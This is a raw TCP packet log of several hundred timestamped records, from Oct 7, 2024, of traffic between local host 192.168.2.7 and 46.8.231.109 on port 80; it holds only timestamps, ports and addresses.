Oct 7, 2024 19:33:21.549802065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549806118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549819946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549822092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549833059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549844027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549844027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549855947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549861908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549871922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549871922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549875021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549887896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549900055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549917936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549930096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549932957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549932957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549936056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549956083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549962997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549963951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549967051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549963951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549983025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549997091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550000906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550000906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550026894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550028086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550040960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550052881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550060987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550060987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550065994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550079107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550091028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550092936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550102949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550115108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550122976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550122976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550127983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550141096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550143957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550153971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550163984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550168037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550182104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550184965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550204992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550204992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550240040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550385952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550398111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550410032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550421000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550429106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550434113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550441980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550463915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550463915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550550938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550563097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550575972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550589085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550590992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550601959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550604105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550615072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550626993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550635099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550641060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550652027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550654888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550654888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550673008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550678015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550685883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550700903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550704002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550715923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550729990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550740957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550740957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550743103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550740957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550754070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550772905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550781012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550781012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550781012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550787926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550792933 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550800085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550812960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550815105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550825119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550837040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550843000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550843000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550848961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550860882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550860882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550862074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550873995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550885916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550889969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550898075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.550939083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.550939083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551621914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551639080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551651001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551662922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551675081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551685095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551685095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551687002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551700115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551702976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551716089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551733017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551734924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551744938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551750898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551757097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551765919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551765919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551769018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551780939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551781893 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551794052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551805019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551816940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551816940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551816940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551830053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551840067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551841974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551855087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551856041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551867008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551878929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551882982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551891088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551903963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551909924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551918030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551923990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551928997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551939964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551944017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551947117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551959991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551960945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.551966906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551980972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551992893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.551995039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552006960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552017927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552030087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552035093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552036047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552035093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552053928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552067041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552072048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552081108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552093029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552109003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552165985 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552409887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552423000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552434921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552447081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552459955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552470922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552470922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552472115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552485943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552500010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552510023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552510023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552545071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552577019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552589893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552607059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552618980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552628040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552628994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552643061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552648067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552649021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552656889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552669048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552681923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552685022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552702904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552711010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552711010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552715063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552727938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552737951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552741051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552758932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552763939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552771091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552783012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552793026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552794933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552807093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552808046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552820921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552843094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552855968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552866936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552865982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552865982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552879095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552865982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552891016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552903891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552917004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552934885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552947044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552947044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552947998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552947044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552947044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552963018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552963018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552975893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.552979946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.552989006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553000927 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553000927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553015947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553039074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553039074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553095102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553402901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553416014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553427935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553438902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553452015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553463936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553467035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553467035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553477049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553478956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553491116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553503036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553515911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553520918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553530931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553536892 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553551912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553555012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553569078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553580046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553591013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553602934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553610086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553610086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553610086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553617954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553628922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553632975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553641081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553653002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553664923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553670883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553670883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553678036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553692102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553700924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553711891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553724051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553733110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553733110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553736925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553750992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553754091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553764105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553775072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553776979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553786993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553800106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553812027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553823948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553831100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553831100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553836107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553888083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553889990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553889990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553889990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553900957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553913116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553925991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.553949118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553949118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.553965092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554291964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554305077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554445028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554456949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554457903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554457903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554467916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554480076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554491997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554502964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554514885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554518938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554518938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554518938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554527044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554539919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554552078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554554939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554567099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554579020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554589987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554589987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554596901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554605961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554610014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554617882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554624081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554631948 CEST	80	49718	46.8.231.109	192.168.2.7
